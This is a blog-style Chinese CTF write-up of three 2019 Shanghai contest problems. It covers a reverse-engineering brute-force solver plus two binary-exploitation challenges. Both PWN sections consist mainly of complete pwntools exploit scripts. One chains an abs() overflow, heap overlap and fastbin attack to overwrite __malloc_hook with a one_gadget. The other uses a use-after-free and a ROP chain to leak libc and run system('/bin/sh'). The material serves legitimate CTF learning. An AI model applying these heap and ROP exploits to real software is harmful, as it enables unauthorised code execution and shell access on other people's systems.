看萝卜师傅的博客 感觉题目很有趣 然后决定刷一波
萝卜师傅博客链接
http://radishes.top/2019/11/03/2019-11-03-2019shanghai/
RE
函数逻辑非常简单
一开始 check1 把我迷惑了 让我认为 限制字符只有 a-f
后来输入过程中 发现了 不止是 a-f 。。。
然后 发现 输入字符0也可以,,原来是 无符号,,, 智障了
然后这里 table 和输入无关 动态调试一波就可以
我们需要 暴力破解最后的hex input 然后 异或 table 那几个定值
就可以拿到flag
暴力跑hex_input
#include <iostream>
#include <algorithm>
#include <stdio.h>
#include <math.h>
#include <string.h>
#include <queue>
#include <vector>
#include <algorithm>
#include <map>
using namespace std;
bool sub_401950(char *a1)
{
bool result; // al
char *v1;
int _12Ah = 0x12a;
int _39Fh = 0x39f;
int _68h = 0x68;
int _209h = 0x209;
int _269h = 0x269;
int _1A1h = 0x1a1;
int _8Ah = 0x8a;
int _2C8h = 0x2c8;
v1 = a1;
while (2)
{
switch ((*v1-48))
{
case 0:
_12Ah &= _39Fh;
_269h *= _12Ah;
goto LABEL_4;
case 1:
if (!_269h)
goto LABEL_6;
_12Ah /= _269h;
_1A1h += _68h;
goto LABEL_4;
case 2:
_209h ^= _68h;
_2C8h += _8Ah;
goto LABEL_4;
case 3:
_2C8h -= _209h;
_209h &= _1A1h;
goto LABEL_4;
case 4:
_68h *= _8Ah;
_269h -= _39Fh;
goto LABEL_4;
case 5:
_8Ah ^= _269h;
_39Fh -= _2C8h;
goto LABEL_4;
case 6:
if (!_2C8h)
goto LABEL_6;
_68h |= _1A1h / _2C8h;
_1A1h /= _2C8h;
goto LABEL_4;
case 7:
_39Fh += _12Ah;
_68h |= _1A1h;
goto LABEL_4;
case 8:
_8Ah *= _269h;
_209h -= _2C8h;
goto LABEL_4;
case 9:
_12Ah += _68h;
_269h ^= _209h;
LABEL_4:
if (++v1 != a1 + 8) // 循环完
continue;
result = (_39Fh == 231)
+ (_68h == 0x3878)
+ (_209h == 0x3A71)
+ (_269h == 0xFFFFCC30)
+ (_12Ah == 0x10)
+ (_1A1h == 0x68)
+ (_8Ah == 0xFFFFFC49) == 7;
if (_2C8h != 0xFFFFFF11)
goto LABEL_6;
break;
default:
LABEL_6 :
result = 0;
break;
}
return result;
}
}
int main()
{
char s[0x1000];
long long int i = 0;
for (i = 0; i < 1000000000;i++)
{
sprintf(s, "%08ld", i);
//printf("%d\n", i);
if (sub_401950(s))
{
printf("%s\n", s);
system("pause");
}
}
return 0;
}
然后 跑出flag 即可
l="61495072"
sums=0
ls=[0x7C,0xAB,0x2D,0x91,0x2F,0x98,0xED,0xA9]
for i in l:
print(hex(int(i)^ls[sums])[2:],end="")
sums+=1
拿到flag
PWN
boring_heap
其实这个题目漏洞点
abs 的漏洞 abs 如果溢出 是有可能返回负数的 而 在C语言里面 负数%正数 是有可能返回负数的
根据这个漏洞 我们可以 edit 后面的东西 然后拿shell 详情可以看demo
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char * argv[])
{
int x=-2147483648;
printf("abs:%d\n",abs(x));
int k=abs(x)%0x30;
printf("k:%d\n",k);
return 0;
}
简单的来说 就是 off-by-one 然后 堆重叠 然后fastbin 攻击 申请堆到 main_arena 的地方
那么 就可以修改top_chunks的地方 然后修改到 malloc_hook 附近 然后 就可以修改malloc_hook 变成one_gadget就ok
EXP:
from pwn import *
import sys
context.log_level='debug'
io = process('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
magic=-2147483648
one_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
def add(choice,content):
io.recvuntil("5.Exit")
io.sendline("1")
io.recvuntil("3.Large")
io.sendline(str(choice))
sleep(0.01)
io.recvuntil("Input Content:")
io.sendline(content)
def edit(index,size,content):
io.recvuntil("5.Exit")
io.sendline("2")
io.recvuntil("Which one do you want to update?")
io.sendline(str(index))
io.recvuntil("Where you want to update?")
io.sendline(str(size))
io.recvuntil("Input Content:")
io.sendline(content)
def dele(index):
io.recvuntil("5.Exit")
io.sendline("3")
io.recvuntil("Which one do you want to delete?")
io.sendline(str(index))
def show(index):
io.recvuntil("5.Exit")
io.sendline("4")
io.recvuntil("Which one do you want to view?")
io.sendline(str(index))
def debug(process):
gdb.attach(process)
pause()
if __name__ =="__main__":
add(2,'a')#0
add(2,'b')#1
add(2,'c')#2
io.recvuntil('5.Exit')
io.sendline('1')
io.recvuntil("3.Large")
payload=p64(0)+p64(0x31)+p64(0)*3+p64(0x21)
io.sendline(str(2))
io.recvuntil('Input Content:')
io.send(payload)
add(2,'e')#4
payload='\x00'*0x18+p64(0x91)
edit(1,magic,payload)
#debug(io)
dele(1)
#debug(io)
add(2,'a')
#debug(io)
show(2)
io.recv()
data=io.recv(6)
io.recvuntil("Exit\n")
#data=io.recv(6)
#print data
#io.recv()
libc_base = u64(data+"\x00\x00")-0x3c4b78
log.success("libc_base "+hex(libc_base))
#io.sendline("1")
#debug(io)
malloc_hook_addr = libc_base + libc.symbols['__malloc_hook']
one_gadget_addr=one_gadget[3]+libc_base
#***********************************************
#***********************************************
#***********************************************
#***********************************************
#***********************************************
#***********************************************
io.sendline("1")
io.recvuntil("3.Large")
io.sendline("2")
io.recvuntil("Input Content:")
io.sendline('g'*0x10)#2
#debug(io)
#add(2,'f'*0x10)
add(2,'g'*0x10)
add(1,'h'*0x10)
add(2,'p'*0x10)
#debug(io) 2 6 0x50
dele(8)
dele(6)
#debug(io)
edit(2,0,p64(libc_base+0x3c4b30+5-8))
add(3,'s'*0x10)
#debug(io)
payload="\x11\x11\x11"+p64(libc_base+0x3c4b50)+p64(0)*2+p64(0x51)+p64(0)
add(3,payload)
io.recvuntil('5.Exit')
io.sendline('1')
io.recvuntil("3.Large")
io.sendline("3")
io.recvuntil('Input Content:')
payload=p64(0)*3+p64(malloc_hook_addr-0x10)+p64(malloc_hook_addr-0x10)+p64(0x3c4b78+libc_base)+p64(0x3c4b78+libc_base)+p64(0x3c4b78+libc_base)
io.send(payload)
add(3,p64(one_gadget_addr))
#debug(io)
io.recvuntil('5.Exit')
io.sendline('1')
io.recvuntil("3.Large")
io.sendline("2")
io.interactive()
io.close()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
login
这个题目在dele 的时候没有清空用户指针 有一个UAF 并且还有一个 用户的函数指针
一开始的想法是 泄露基址 然后覆盖 函数指针就可以 getshell 了。。。。
然后 就一直再想堆怎么泄露基址,,,, 这个题目限制只申请 5个堆 然后我在泄露的地方就感觉很无力,,
后来想了想 可以获取程序的eip 那么 直接 运行rop 就可以 泄露基址+ getshell
不得不说 这个题目真的骚,,
from pwn import *
import sys
context.log_level='debug'
io = process('./login')
elf=ELF("./login")
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
one_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
def login(index,size,password):
io.recvuntil("5.Exit")
io.sendline("1")
io.recvuntil("Input the user id:")
io.sendline(str(index))
io.recvuntil("Input the passwords length:")
io.sendline(str(size))
io.recvuntil("Input the password:")
io.send(password)
def register(index,size,password):
io.recvuntil("5.Exit")
io.sendline("2")
io.recvuntil("Input the user id:")
io.sendline(str(index))
io.recvuntil("Input the password length:")
io.sendline(str(size))
io.recvuntil("Input password:")
io.sendline(password)
def dele(index):
io.recvuntil("5.Exit")
io.sendline("3")
io.recvuntil("Input the user id:")
io.sendline(str(index))
def edit(index,password):
io.recvuntil("5.Exit")
io.sendline("4")
io.recvuntil("Input the user id:")
io.sendline(str(index))
io.recvuntil("Input new pass:")
io.sendline(password)
def debug(process):
gdb.attach(process)
pause()
if __name__ =="__main__":
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
stdin_addr=0x400468
pop_r12_ret=0x400F2C
ret_addr = 0x400be9
pop_rdi=0x400f33
register(0,0x88,'a')
register(1,0x80,'b')
register(2,0x80,'c')
dele(0)
dele(1)
payload=p64(stdin_addr)+p64(pop_r12_ret)
register(3,0x18,payload)
payload="stdin".ljust(8,'\x00')+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(ret_addr)
login(1,len(payload),payload)
io.recvuntil("!\n")
libc_base = u64(io.recv(6)+"\x00\x00")-libc.sym['puts']
log.success("libc_base "+hex(libc_base))
system_addr = libc_base+libc.symbols['system']
bin_sh_addr = libc_base+libc.search("/bin/sh").next()
payload="stdin".ljust(8,'\x00')+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)+p64(ret_addr)
login(1,len(payload),payload)
#debug(io)
io.interactive()
io.close()
就看了这三道题 感觉很挺有意思的,